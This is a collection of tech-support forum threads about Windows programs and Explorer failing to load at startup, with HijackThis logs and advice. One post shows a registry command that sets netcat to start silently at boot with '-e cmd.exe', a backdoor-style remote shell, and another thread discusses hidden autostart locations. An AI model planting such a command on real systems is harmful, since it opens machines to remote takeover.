When the scan is finished, the "Scan" button will change into a "Save Log" button.
Press that, save the log somewhere, and please copy & paste its contents to the forum.

It will possibly show issues deserving our attention, but most of what it lists will be harmless or even required, so do NOT fix anything yet.
Someone here will be happy to help you analyze the results.

and tell us which program you want to stop starting up

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Ever since I changed the DPI from normal to large and back again - my icons load almost instantly at startup like normal, only to dissappear/load with a random icon, and then reload correctly.

It's not that big of a deal, but does anyone have any idea of how to get them to behave again? Like rebuilding associations or something?

A:Icons load twice at startup



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I Have Windows Xp Sp2,when I Boot Up My Machine I Get A Explorer.exe Could Not Load Error And I End Up With Just My
Desktop Back Round.if I Start In Safe Mode,the System Will Boot Up Can I Resolve Problem

A:Startup Explorer.exe Could Not Load

Going into safe mod and run a anti-virus and spyware scan. Links are in my signature. Also while in safe mod goto start > run > and type in msconfig and on the start up tab disable all programs. There could be something confilcting with explorer.exe. Let us know what you find

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I don't recall doing anything to cause this problem. Just started my computer one day and this happened...I am missing icons in my system tray. The programs that the icons represent won't load at startup. When I try to start them by clicking on the shortcut icon...they won't start. Some of the programs that won't start are Sygate Firewall, People Pc, multimedia keyboard, AVG anti-virus, Win Patrol. I checked, and all of these programs are in my startup folder. Can anyone help? I have Windows XP Pro as my OS.

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Hello, I'm using Sygate 5.5 build 2710 with WinXP pro, I've been using it for a longtime with no problems at all, now all of a sudden it won't load on startup, I checked with msconfig it's still there checked, when I start my computer it does not show up in the task bar, I look under taskmanager I see Smc listed, but when I go to services.msc, I see it is set on auto, enabled, but status shows stopped, I start it up manually it works but no longer keeps any logs?? I uninstalled then reinstalled same thing does not load at startup does not keep logs, I installed v 5.6 same thing, I installed Comodo and it loaded and worked fine, but I prefer Sygate, I've scanned with everything, adaware, spybot, avg, kaspersky, superantispyware nothing found, I don't no what the problem is, anybody have any ideas?

Thank you.

A:Firewall won't load at startup

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Hi. I am having a strange problem with Windows XP SP3. It is installed on a Gateway MP6954 with 2 GB of RAM, a 100 GB HD, and an Intel Core Duo Processor (approx. 1.6 GHZ each). When I log into Windows XP if I'm in normal mode, everything is fine until Windows tries to load explorer.exe. After several minutes, it never shows up until I manually turn it own using the Task Manager and adding a New Task. I have scanned my computer in Safe Mode with the following programs:
Symantec Endpoint Protection 2007
Spybot Search-and-Destroy
MalwareByte's Anti-Malware

None of these programs reported any problems.

I have also looked at my HiJackThis Log and I do not see anything unusual. However, that log was generated using HiJackThis 2.0.2 and after reading the instructions to post to this forum I decided to use the DDS script provided by BleepingComputer. Any help on fixing this problem would be much appreciated.

============== Pseudo HJT Report ===============

uSearch Bar = hxxp://
uSearch Page = hxxp://
uSearchMigratedDefaultURL = hxxp://{searchTerms}&sourceid=ie7&
uSearchURL,(Default) = hxxp://
mSearchAssistant = hxxp://
BHO: CKeyScramblerBHO Object: {2b9f5787-88a5-4945-90e7-c4b18563bc5e} - c:\program files\keyscrambler\KeyScramblerIE.dll
BHO: Spybot-S&D IE Protection: {53707962-6f74-2d53-2644-206d7... Read more

A:explorer.exe won't load at startup

Hello Rushsonic.
It has been more than 2 weeks since your initial post. Please advise if you have the same issues, or if you have resolved them, or if you are getting help elsewhere.
If you wish to get guided help here, please start DDS and do a new run. Reply back with the new DDS report.

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Hello...newbie here
Here is my problem, which has been happening for about 2 weeks. At first power on, the bios does its thing (post screen does show my hdd and its correctly configured as first boot device) and boot time is normal.....BUUUUT when its supposed to be time for the xp startup screen (xp logo with the little progress bar) nothing happens...i get a blank screen. If i reboot, then it'll be fine, xp loads and i go about my business as i would normally. This problem occurs just on my FIRST boot of the day.

A:xp startup screen won't load

run the h/d maufacturers diognostic program on the h/d

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Newbie need help here....

My computer was just hit with malware identified by my Trend Micro as BKDR_CYCBOTSM3. It was successufully detected and quarantined. However, my computer was still acting funny so I decided to tinker around and see if there are some undetected strands of malware on my PC. I use autoruns to check and see if there were any unusual running proccesses. I was able to identify a few but one really stand out - lsdelete.exe; I compared it with my other Windows XP machines autorun procces and it was not there so I decided to delete it. After rebooting my computer, explorer.exe won't load at start-up anymore. I tried forcing it to load by using run. However all I'am getting is an error saying - "windows cannot access the specified device, path, or file. You may not have the appropriate permissions to access this item".

I tried using a different account and got the same problem. I tried logging in safe mode w/ network and explorer.exe loaded just fine. So I decided to check the registry for ...HKLM/Software/Microsoft/WindowsNT/CurrentVerion/WinLogon and it shows the correct entries (I compared it with my working windows and they're identical). As another test, I rebooted the computer to normal mode and used procexp to see if there are any foreign process running that would stop explorer.exe from loading but found none. I even went far as to replacing the explorer.exe with a one that I knew was working but still the same problem.

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A:explorer.exe does not load during startup

Hi TM_Paul -lsdelete.exe is a Lavasoft file. Lsdelete.exe is related to Lavasoft Boot Cleaner.You must have had Lavasoft programs installed on that computer at some time, delete it if you want to -Also if you are not sure, please do not play in the registry -Regards -EDIT - For the explorer.exe problem, try this -Open My Computer.Go to Tools>>Folder Options>>View.Under "Hidden Files and Folders", uncheck "Launch folder windows in a seperate process".Reboot and see if this takes care of your problem.

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i having a problem with my startUp it take about 5 mins or more to load i have tryed everything within my skill to fix it but i had no success so far so if any one can help me to fix my problem i will be greatful.

here is some pictures of my computer to do with start up and proformance i fiddle around with few things:

Thank you for all of you guys who view this and helped me

A:Please help me StartUp takes 5 min to load or more

Logfile of Trend Micro HijackThis v2.0.3 (BETA)
Scan saved at 14:46:39, on 18/12/2009
Platform: Windows XP SP3 (WinNT 5.01.2600)
MSIE: Internet Explorer v8.00 (8.00.6001.18702)
Boot mode: Normal

Running processes:
C:\Program Files\Common Files\Apple\Mobile Device Support\bin\AppleMobileDeviceService.exe
C:\Program Files\Bonjour\mDNSResponder.exe
C:\Program Files\Java\jre6\bin\jqs.exe
C:\Program Files\Common Files\Microsoft Shared\VS7Debug\mdm.exe
C:\Program Files\Nero\Nero8\Nero BackItUp\NBService.exe
C:\Program Files\Super_DVD_Creator_9.8\NMSAccessU.exe
C:\Program Files\Microsoft\Search Enhancement Pack\SeaPort\SeaPort.exe
C:\Program Files\TalkTalk\bin\sprtsvc.exe
c:\Program Files\Microsoft SQL Server\90\Shared\sqlwriter.exe
C:\Program Files\Common Files\Supportsoft\bin\tgsrvc.exe
C:\Program Files\AVG\AVG8\avgcsrvx.exe
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I have a problem whit startup programs. When I start Windows 7, sometimes some programs do not load at startup. It doesn?t happen all the time and it is not always the same program that doesn?t load, but it occurs randomly.
Anyone has got a solution for this? Thanks in advance for your help.

A:Startup programs sometimes do not load

Are you starting up windows from sleep or hibernation?

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It shows up in Task Manager's start up app list. But it doesn't load up at Windows startup. It does require UAC. But even when I turn off UAC, if still doesn't start automatically. I have to manually load it.

Is there a fix? Or we cannot simply load apps that require elevation at startup?

A:Peerblock would not load at startup

I found this on their website.
This must do the trick. Cannot check since I'm not at home. Will reply back.

User Account Control

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My computer froze, as it's done before and so was turned off at the power button. On start up, initially it said "Operating Server Not found". On restart again, I have the option to run Startup Repair, or Load Windows Normally. Starting normally has me on the "Starting Windows" screen for, well, ever; and Startup repair gets past the file loading, displays a mouse and blue-plantish background but never loads the dialogue box.

I've actually been in this situation before, but start up always loaded after restarting 6 or 7 times. It's been 20+ this time and there's no sign of it.

Running Windows 7 Home Premium x64bit on a Sony Vaio Laptop - without any discs.

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Hi, I am new here. I have been having alot of spyware taking over my computer. The main problem is I have been getting this at startup: Could not load the resource Dll. Please make sure Gator is installed correctly. I think I accidentally deleted something important while trying to get rid of spyware. has anyone ever seen this? Please help! Holly [email protected] Not sure if I will find my way back to the forum~haha.

A:Hello, Has anyone ever seen Could Not Load Dll at startup? Gator...

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I know this has happened to a lot of people already, but I've tried searching for answer no luck. Alright so to begin I haven't made any changes or installed any new programs lately but explorer won't load on startup. I can open task manager and start it manually and after that it's but fine. Here's some system info I'll post HJT log after
32 bit windows vista, 3002 mb ram

here is the HJT

Logfile of Trend Micro HijackThis v2.0.2
Scan saved at 2:56:30 PM, on 4/7/2009
Platform: Windows Vista SP1 (WinNT 6.00.1905)
MSIE: Internet Explorer v7.00 (7.00.6001.18000)
Boot mode: Normal

Running processes:
C:\Program Files\NortonInstaller\{0C55C096-0F1D-4F28-AAA2-85EF591126E7}\NIS\A5E82D02\\InstStub.exe
C:\Program Files\Synaptics\SynTP\SynTPEnh.exe
C:\Program Files\HP\QuickPlay\QPService.exe
C:\Program Files\Windows Defender\MSASCui.exe
C:\Program Files\Hewlett-Packard\HP Quick Launch Buttons\QLBCTRL.exe
C:\Program Files\Java\jre6\bin\jusched.exe
C:\Program Files\HP\HP Software Update\hpwuSchd2.exe
C:\Program Files\Hewlett-Packard\HP Wireless Assistant\HPWAMain.exe
C:\Program Files\Webroot\WebrootSecurity\SpySweeperUI.exe
C:\Program Files\Common Files\LightScribe\LightScribeControlPanel.exe
C:\Program Files\Hewlett-Packard\HP Advisor\HPAdvisor.exe
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A:Explorer will not load on startup

I ran a virus scan shortly after my first post and some tracking cookies were detected that's it now it seems to be all better explorer starts normaly.

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Hi, I have tried searching for a answer, but I have had no luck.

On my desktop, my startup items are no longer loading when I boot up the computer. What happened is, I have a desktop and laptop that are winXP and I decided to remove mcafee from the laptop and try AVG anti virus(free). AVG worked out great on laptop, so I decided to put it on desktop also. Now, when I boot up the desktop the startup items that use to load no longer do. Not even the AVG anti virus.

Here is what I did on laptop:
a. add/remove programs and removed mcafee.
b. ran MCPR by mcafee to clean all of mcafee out.
c. installed AVG, latest free from cnet.

All is good on laptop and after many reboots to test, all startup items I have load up and are on bottom task bar.

did the same on desktop, but no startup items. I have looked at msconfig and the items are still checked on the startup tab. Everything to me looks the same on the desktop as it does on the laptop. Could I have somehow messed up the registry on the desktop.

Thanks for any help.
EDIT: I have discovered that this only happens on a system bootup. If I boot up, then log off, and log back on, then all startup items load up fine. I only have this desktop setup for one user (me).
Any ideas?

A:Startup Items Will Not Load

What items would that be?You can add any program to simply dragging or placing a shorcut to that program in the Startup folder.A tool for checking/reviewing startup items (all of them): AutoRuns for Windows v8.73 - Louis

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I came back from vacation, opened my laptop, and clicked on my computer. Only the "c" drive showed up. There was no icon for my CD/DVD drive. Put a CD in and nothing happened. Went to device manager and it said This device cannot start (code 10). I called Toshiba since my note is new and he had me go thru the regisrty editor and delete an upper filter, whatever that is. I restarted and everything was fine. It worked.
Next day, no CD/DVD icon in my computer. Any ideas?

A:Cd/dvd Drivers Will Not Load At Startup, Help!

Does your laptop include one of those horrendous manufacturer-created "recovery partitions"? Because manufacturers are so cheap, nowadays, many of them don't include any physical media with the PC. Rather, they create a proprietary image of what used to be an actual "recovery CD/DVD" and save it to an "invisible" partition, usually situated immediately before what Windows marks the C: drive.

I'm not sure that it's relevant; I'm just curious. I have had problems with drives/letter assignments due to these manufacturer-supplied recovery partitions.

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The battery on my laptop is toast so when the cord slipped out, the computer shut off. When I attempt to restart it, I can restart it but it only shows me the background. It will just stay there blank while attempting to load something occasionally. If I start it in Safe Mode, it does the same thing only I can't see the background. It says DCOM Server Process Launcher terminated unexpectedly then shuts down. It says the shutdown is requested by NT AUTHORITY/SYSTEM. Before the shut down, McAfee said it blocked and removed a trojan but I'm not sure what the name was. Can you help me load Windows? Thanks.

A:Computer will not load during startup.

Hey there,

This could be a possiable of two issues.

If it's simply an issue with one of your files, you can first attempt to press F8 over and over during bootup, go to "Use Last Known Good Config". See if that'll boot up, if not, you can try to use System Restore. To use System Restore, Again, use F8 over and over, and this time and go into "Safe Mode With Cmd" (I am using short hand, hopefully, you understand it). Once in Cmd, type in "%systemroot%\system32\restore\rstrui.exe" and attempt to go back to a pervious state.

If it is an infection, you can try and use a Live Antivirus CD to clean up the infection first, afterwords, doing a system Restore with the methons I listed above.

Hope this helps,

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Hello there! I appear to be having a problem with applications not loading when I start the PC. It happens every now and then, and I am forced to reboot until I can eventually load the program. When I check the program in task manager, it appears to only load about 108K-124K within memory, then stops. When this happens, I can no longer run any program. I am at my wits end! Many thanks in advance for any help I may receive.

A:Problem with startup, applications do not load

Hello Beauedwards, Welcome to SF!

Can you give us a bit more to go on? What program? When it "stops"... what happens exactly? Does your whole pc freeze? Do you get a BSOD (Blue Screen of Death... which means your PC doesn't like you any more and it quits on you with a (most of the time) blue screen)

How quickly after booting do you try this program? How up-to-date are you with W7 updates?
W7 64b on a 2G machine is sure to test your patience anyway but let's see what is really happening...

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Client's computer will freeze on startup, background will be visible but with no icons or mouse cursor. I had asked her if she had any sort of Antivirus software that loads during startup. She said she had Command Antivirus installed. We tried rebooting the machine, but with the same results. I am assuming this is a problem with a startup scan of the antivirus software, but am not sure.

I am not quite sure if this is the problem, assistance would be greatly appreciated. She is running on XP currently. I am unable to capture a HJT log or specific specs list for her computer. Any help would be appreciated.

A:Startup Fails to Load Correctly

It's difficult to troubleshoot such a problem remotely; your best bet would be to try a System Restore. This can be done from Safe Mode (, if you can load that (then run msconfig > "launch system restore" -- you could also try "clean boot" troubleshooting, but this takes a lot of time and effort.

Safe Mode is available from the f8 boot menu. If Safe Mode fails to load you may try Safe Mode With Command prompt and use these directions to launch System Restore:;en-us;304449;EN-US;310353

Also if the Task Manager can be opened when this happens (ctrl-alt-del), the System Restore utility can be launched by selecting File > New task and entering:


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I installed MSDE (the free version, Desktop Engine) on Windows XP Pro but it doesn't load at the startup. I am suppose to get the MSDE icon in the system tray. I would greatly appreciate if someone could help me out please, thanks!

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When windows starts I get an error message that says "Unable to locate," and then it show a bunch of Japanese symbols, it then tells me to locate them in the registry and delete them, but I can not find them in the registry. Thats not all that I think is screwed up in my registry. Is there any type of registry checker that can tell my what I should add or delete to my registry, and tells me where to locate each item? Thanks! BartMan45.

A:Japanese symbols trying to load at startup.

Start/Run Type: msconfig
on the Startup tab, uncheck anything that has anything to do with the "Japanese symbols"

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Whenever I log in or any account logs in explorer.exe doesn't load.
I don't have any viruses, restore didn't work, running sfc /scannow at the moment.

Could it be corrupt and if it is corrupted how can I fix it?

A:Explorer doesn't load on startup

Have you tried reinstalling Windows 7 yet? Seems a little extreme, but if System Restore didn't work, it's the only other feasible option I could think of.

-- Ryan
Window Outreach Team

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Hi everyone,

i have a problem with my vista home premium pc as described on the title,

when i restart the pc i get to the welcome screen and my documents folder loads up but the background is completely black, no desktop/no taskbar,

I can restore my system to show the desktop by navigating to the windows folder and clicking on Explorer.exe, after this my system works as it should. So i am guessing when i start my system windows doesn't load explorer.exe

I have tried loading explorer.exe into the startup but still nothing,

has anyone experienced this before?
what could i do?

many thanks for your input in advance

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i have windows xp home 2002 sp2 on my emachines desktop computer...

when i first got the computer of course it loaded lightning fast

well for about the past 6 months now, the inital startup is still fast but once the desktop appears, it takes absolutely FOREVER to actually be able to use the computer... i would say close to 5 minutes...
what it will do is give me my desktop and be set to go it seems and the computers not thinking or anything... but icant do anything really yet... then after a few minutes of sitting, it will finally finish booting up everything it needs ie. taskbar msn etc.
then ill be able to run the computer fine no speed problems after that

also i dont know if its related or not but i had major adware issues before and downloaded ad-aware to fix these issues and it seems every time i run it i find more tracking cookies that lead me to ie popups when i dont even use ie. i use firefox


A:Xp Startup And Load Time Forever

Hi 03impala9c1 and to BC!

Do you have any security programs on your PC? Maybe your PC is infected with malware and this is causing it to slow down? Also, how many programs load up at start-up?


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I have a Sony Viao with Win 7 Home Premium and I just deleted some form of Trojan with MS Security Essentials and then I ran windows updates before I restarted the machine. Windows update installed some security updates along with Service pack 1 and IE9. Now the computer will not load Windows. It goes straight to the startup repair but cannot fix the problem. There is not restore points other that when SP1 was installed and I gives an error every time I try to restore it. I can get to a command prompt and I have tried to run sfc /scannow but it tells me there is a system repair pending which requires a reboot and then does nothing. I also tried check disk(just as a last chance) but that didn't do anything. Is there any other way that I can repair windows without re-installing windows?

A:Windows will not load/Startup repair cannot fix

I got a system restore error code of (0x8000ffff).

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One thing that might help would be a list of various places in the windows registry where programs can insert themselves to load on startup. Basically it seems like spyware apps are finding ways of loading on startup that the user can not detect within msconfig. I am wondering if anyone out there can suggest some places and methods that are not well known that spyware might use to attack a computer upon startup? The only one I know is the appinit dll entry system, but anything else along those lines might help a lot of people kill this stupid spyware software.

A:Places Programs Can Use to Load On Startup - WIN XP


*note that in this section you can change the startup type by editing the START DWORD value;
4 - Disabled
3 - Manual
2 - Automatic
1 - Exists, but I don't know what it does. Probably 'Automatic but hide from list'.



\Documents and Settings\[Username & All users]\Start Menu\Programs\Startup

There's probably some more locations - but i'll leave that to someone else :P

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Everytime I turn on my computer, the start up desktop is too slow to load, also i dont have neither many icons in my desktop. I only have 11 icons in my desktop but evertime I turn on my computer, it's really to slow to load. Please help me in this problem. Thank you!

A:My startup windows is too slow to load

How many programs do you have set to run at start up? If you look at the clock in the bottom right hand corner of your monitor, does it have quite a lot of icons?

This could be a factor with a slow start up as alot of programs are trying to load at the same time.

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I have a problem.
I recently bought Windows 7. Sometimes when I start my computer, the USB will not work at the login screen. No keyboard or mouse works.
If I get past the login, windows finds all my external hd's and starts to scan them. I think this is a problem with the USB.

This never happened in WinXP. Its like windows 7 "resets" the USB on each startup.

Can anyone help me on this?

A:USB load failure on each system startup

Not one answer on this one? Where can I get help?

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my teenage daughter has had a tantrum and slammed her laptop. When trying to start normally I get BSOD so tried startup repair both from the laptop and installation disk. It loads but just then stuck on a blueish windows screen. I'm guessing she has managed to actually damage the hardware but wondering if any other steps before attempting a fresh install of OS?

Thanks for any advice

Frustrated father!!

A:Startup repair doesn't load

Hi Masplin,

Could you provide more detail on what the BSOD error is? I know you will be unable to post logs of this however the error code would be most helpful to us.

- A helpful member

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Hello everyone,

I'm using windows 7 32bit in my VMware machine and i'm trying to make a program load on startup.
This program is netcat , i'm running a project on my university and i gotta make it load on boot.

On cmd i'm executing the following command to add netcat on startup registry:

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v "netcat" /t REG_SZ /d "%windir%\system32\nc.exe 10001 -d -e cmd.exe"

where "%windir\system32\nc.exe" is the path i put "nc.exe" into , and " 10001" is the local IP and port that it is gonna connect to on boot.

Anyone has any idea why when my VMware machine reboots nc.exe never runs on startup?
Any help would be much appreciated.
Thanks in Advance.

A:.exe program doesnt load on startup

Hi and welcome to Seven Forums!!!

You can try CodeStuff Starter.
With this free program you can add, edit and delete programs that run at boot.

Hope this helps


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when start up this message appears

error loading
c:\windows\sys32\dctrolh dll

how to fix this

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I'm not really sure whether this is the right area for me to start this thread, as the problem stems from a virus, however I beliee I have removed the virus so I figured that I should post in this area of the forum.

A few days ago, avg resident shield was continuously alerting me of a virus on my system affecting the winlogon.exe and the explorer.exe files. Although AVG protected me from the virus, the alerts were really annoying, so I began removing it, I will now describe the steps I took to remove it:
---------------------------------------------------------------------------- I began by booting into safe mode, and running a virus scan. The virus scan showed the infected system files, however it couldn't remove the vrus, because it had infected critical files. On the virus scan results I noticed an error, stating that it couldn't scan a file because it was locked. I investigated the file, which was a hidden file in the C:\documents and settings\****\Settings (or something similar). I looked at it's last modification date, and it was the same day as I was looking at it, so I figured it was the virus file.
I deleted it and rebooted.
My PC blue-screened with a system critical error, saying that it couldn't start winlogon.exe or words to that effect.
I booted into BartPE and looked for the winlogon.exe file on the hard drive. Both winlogon.exe and explorer.exe had been removed, presumably by ther virus.
I copied the winlogon.ex_ and explorer.ex_ files from my windows... Read more

A:Explorer.exe doesn't load on startup


If you copy explorer.exe to the desktop can you run it from there once logged in?

This is a document that allows you to stop a certain program from running. Maybe Explorer.exe has been stopped from running?

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Hi Guys,

I hope you can help me out on this, as I am not so much into setting up my XP.

Problem is I have this "load line" before my XP loads which is very uncommon, prior to this, I got my OS corrupted so I had to reinstall.

1) Blank Screen (a few seconds)
2) A load line (similar to |||||||||| appears) then loads
3) XP then opens

While the xp, when running is ok, when I boot up, it seems that it is a little bit slower than before.

Just to note also that my hard drive is very healthy. (if it would help)

It may be that I did something wrong, just to be sure I attached a screenshot that I hope could help.

I look forward to your expert advises

A:Load line before Windows XP startup

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Hi Folks,

I'm looking for an app that will allow me to monitor EVERYTHING that is loading - as it's loading - during startup..

Reason is, something is causing a real slowdown - taking sometimes 30 seconds to load (this one particular app or process)..

I get to the desktop, the system tray starts filling up - and then - paaaaaauuuussseee....

I've tried doing a ctl + alt + del to load the Windows Task Manager, and watch the Process tab - problem is - it gets to 33 processes - hits that pause - and then after the 15 - 30 seconds whatever it is that's slowing it down finally loads and then 10 other processes load instantly... SO - I can't single out which 'thing' it is that's giving that looooooong pause..

I'm hoping there is some utility / app out there that will load at startup, and either log each process and it's load time (or timestamp) - OR - let me view on the screen things as they're loading - and the ORDER that they are loading in.. to help narrow it down.. (the standard task manager doesn't seem to always list them in order of load..)

Any suggestions??


P.S. with some 42 process loading at startup, I'm hoping to avoid having to disable all and then reenable 1 by 1... I've already tried eliminating via msconfig and startup.. so - trying this next level.. thanks..

A:XP - View Processes During Startup As The Load

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I have been having problems with my husbands computer for almost 2 weeks. I am sorry if I am giving you too much info but, I do not want to assume what is important and what isn't.

HP Pavilion Entertainment PC dv9033cl
Win XP Media Center - updates are current

Antivirus/Spyware Software:
Lavasoft Adaware - updated and running clean
Spybot - updated and running clean
Panda Global Protection - updated couple of low threat cookie adware (will talk about later)
Panda ActiveScan 2.0 - updated a running clean

How problem started:
The weekend before Thanksgiving I paid and updated to Global Protection my panda subscription. It found a 2Search adware but, only notified me of it. The program did not try to fix it. Per Pandas Virus Encyclopedia it advised to use Active Scan. I ran it and found that now I need to buy it to fix problems. So, that is what I did. Long story short it was Wednesday of last week before Panda gave me a backdoor link to get it working because the site said my login and password did not work. At any rate, I fixed the problems it found. 2Search was not one of them. Since then Panda Global Protection sometimes finds 2 different low level threats at different times that I run it. I can not find it in my notes what the second one is. I think it may be Atwola but that may have been on my laptop.

This weekend Internet explorer started having problems. Sometimes it started and at other times it froze after starting the homepage.... Read more

A:The registry cannot load the hive on startup

Hi .Related reading: suggest downloading a diagnostic from the website of the hard drive respective manufactuer (for the drive you are trying to format/restore/recover) and running it. Long test if a long and short are offered.Hard Drive Installation and Diagnostic Tools - Louis

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can i add a program to load at the startup but with a deleay for example of 2 minutes after the logon ?

how can i do it?


A:can i add a program to load at the startup but with a deleay?

thinking easiest way would be with a batch file were you would be able to write a delay in before the command to initiate the program
eg timeout /t 120

120 seconds = 2 minutes

if you are not familiar with batch files try googling it, it is fairly simple, can be created with notepad and set to run on startup
heres a couple links

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We have been experiencing increasingly slow start-up and load times, and more recently unresponsive mouse movements. All very annoying, and now almost unusuable. It all seems to point to problems left over after being infected with various spyware problems. These were removed with superantispyware (which I subsequently removed) and malwarebytes' Anti-malware (which I've left on), however the damage seems to have been done. Apparently HiJackThis can identify the problems and fix them, but it's far too advanced for me to do on my own. The processor is AMD Sempron 1.6 GHz, with 704 MB RAM/ The system is Microsoft Windows XP Hoem Edn V 2002. It's a slow processor I know, and probably unsuitable for things like itunes and Skype. But I want to avoid upgrading if possible, as we just can't afford at the moment. Can anyone help?

A:Slow startup and load times

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I have an older system, but it's a nice setup featuring Gigabytes EP45-UD3P, Q9550 CPU, 8gb DDR2 OCZ platinum, dual 1TB of Seagate hard drives, and EVGA GTX 295 graphics card.

I turn my machine off, and the machine refuses to display. I get to the windows colors screen in Win 7 Pro, and once it proceeds to load the desktop the screen goes black without a cursor, and that's where it stays.
This can be corrected by me reloading the Boot record when turning the system on, however upon powering the system off it does the same thing till I instigate another boot record repair.

I've replaced the hard drives, and CMOS battery. I tried starting the system in safe mode, and it loads fine. I then narrowed the issue down to Win 7 not loading the video driver on startup.

Does anyone know how to correct this issue?

Thank you.

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My computer will turn on just fine, showing the BIOS screens and all the normal stuff, but once it gets to the Windows XP load screen, the monitor goes black and stays that way. What's weird is that the monitor is showing black, like my video card is sending a blank black screen where the logo and the load bars should be. However, this is all secondary to the fact that my computer won't startup at all. I've had a hard drive fail on me before, and there's no messages about not being able to read the drive, or a drive not existing, or corruption, etc. Is there anyway I can get it working again, or at least long enough to back everything up before a system restore/ new computer purchase? Thanks for your help.

A:Startup stops at XP load screen

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Please help! The screen goes blank and the system hangs after the black boot screen but before the blue "Windows is starting up" screen. When I push the on/off button I can restart into safe mode, but restarting from there gets me back to square one. Things I've tried:

1. Playing around in safe mode with msconfig. I tried skipping win.ini, system.ini and loading only WinXP services. No go.

2. Using the Recovery Console to boot into msdos. From there I ran a chkdsk /r and then did a fixboot. No go.

3. Pulling the plug with the machine still on. No go.

4. Banging my head against a brick wall. No go.

If worst comes to worse, I'm prepared to transfer all my critical files to my (turtle-slow) laptop and do a clean install, but I'd rather not.

Does anyone have any idea what could be causing this and how to fix it? Many many pathetic thanks in advance.

A:OS won't load - blank screen on startup - please help

Hi and welcome to TSF

Have you tried 'Last Good Configuration' on your f8 key menu? (tap f8 from start up)

Failing that, try a 'System Restore'.


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I have recently reinstalled windows XP home edition and this loading screen appears every single time whenever I restart my computer. It comes up after the Dell logo appears and lasts approximately 5 minutes. After its finished the Windows XP logo appears comes on and then loads the desktop. This has never happend in past installs of Windows XP home edition on my machine. Does anyone know how to fix this problem?

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I had no problems yesterday or ever before. Apparently there was an update last night, and since then my desktop won't start up. It gives me the error saying windows\system32\drivers\fltmgr.sys will not load. I did a system restore to the system checkpoint before that update last night - to no avail though. I've done the automatic startup checker twice using the vista installation disk, it says there aren't any problems. is there anyway to just replace this fltmgr.sys from another vista machine? Or am I just stuck?

there has to be some kind of fix! thanks!

looking through the startup recovery log I found this:

Boot critical file: c:\windows\system32\drivers\fltmgr.sys is corrupt.

Repair Action: File repair.
Result: Failed. Error Code = 0x490

also - won't boot to safe mode, same error. last known good configuration doesn't work.

A:fltmgr.sys failed to load on startup

OK, Here are a couple of tutorials to look through to help try and get tyour system up and running. I listed them in order of preference. Hopefully one of these will work for you.

Startup Repair
System Files - SFC Command
Repair Install For Vista

Good luck and let us know what happens.

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